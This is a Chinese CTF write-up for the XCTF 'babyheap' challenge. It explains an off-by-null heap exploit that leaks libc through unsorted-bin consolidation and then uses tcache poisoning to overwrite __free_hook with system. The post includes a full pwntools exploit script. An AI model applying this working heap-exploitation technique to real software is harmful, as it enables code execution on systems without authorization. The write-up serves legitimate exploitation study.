XCTF-babyheap-WP

off-by-null

Posted by l0tus on 2023-02-14
Estimated Reading Time 3 Minutes
Words 743 In Total
Viewed Times

开篇碎碎念

XCTF上的一道傻逼题目,难度为8,为什么说傻逼呢,是因为它附件给错了。正确的libc版本应该是2.27,XCTF上面给的却是32位的2.23。。
还有一点就是做到最后也只能本地打通,远程连上以后连libc基址都不对。BUU上面也有一样的题目,没给libc但是可以本地2.27,但最终远程还是连不上,我也就懒得折腾了本地写了个flag自娱自乐。
pic2

题目

pic1
这个函数存在off-by-null
这题delete函数在free以后将指针置零了,不存在UAF。show函数的实现是把index为0-6的7个chunk分别输出。
那么这题需要用off-by-null造成堆块合并进入unsorted bin并且实现存在指向合并chunk(unsorted bin)的指针。
如果直接用相邻的两个chunk是无法做到的,需要中间有一个chunk隔开,这个中间chunk可以起到指向合并chunk的作用。但是目前指向的位置是在chunk的中间位置,怎样做到让它指向unsorted bin中合并chunk的头呢?那就是需要再把第一个chunk申请出来,合并chunk在这一步被分割,中间chunk指向的位置就会刚好变成unsorted bin中被分割后的chunk的头,由此可以泄露libc。再在第一个chunk和第三个chunk中间再加一块chunk,可以防止中间chunk与一号chunk合并。当然这样做之后申请大chunk的size就应该是一号chunk和再加的那一块chunk的和。
之后再用类似的方法实现tcache poisoning.写__free_hook就可以了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import*

context.log_level="debug"
context.terminal = ["konsole", "-e"]
#p=remote("node4.buuoj.cn","27508")
p=process("./timu")
elf=ELF("./timu")
libc=ELF("./libc-2.27.so")

def add(size,data):
p.sendlineafter(b"Your choice :",b"1")
p.sendlineafter(b"Size: ",str(size))
p.sendlineafter(b"Data: ",data)
def delete(idx):
p.sendlineafter(b"Your choice :",b"2")
p.sendlineafter(b"Index: ",str(idx))
def show():
p.sendlineafter(b"Your choice :",b"3")

gdb.attach(p)
add(0x4F0,b'index:0\n')
add(0xF0,b'index:1\n')
add(0x5F8,b'index:2\n')
add(0x4F0,b'index:3\n')
add(0x20,b'index:4\n')

delete(2)
delete(0)
add(0x5F8,b'a' * 0x5F0 + p64(0xC00))#index:2
delete(3)

add(0x5F0,b"index:2\n")

show()
p.recvuntil(b"0 : ")
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 96 - 0x3EBC40
log.success("libc_base:" + hex(libc_base))

freehook_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
one_gadget = libc_base + 0x3c565

delete(1)
delete(2)
add(0x5F8,b'a' * 0x4F0 + p64(0) + p64(0x101) + p64(freehook_addr) + b'\n')
add(0xF0,b'/bin/sh\x00\n')#index:2
add(0xF0,p64(system_addr) + b'\n')
delete(2)

p.interactive()

这道题目在学习、解答和写wp过程中诸多地方参考了chuj学长的博客。同时这也是我第一次接触off-by-null的题目,自己现在也就一知半解,写的很垃圾望大佬轻喷(


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !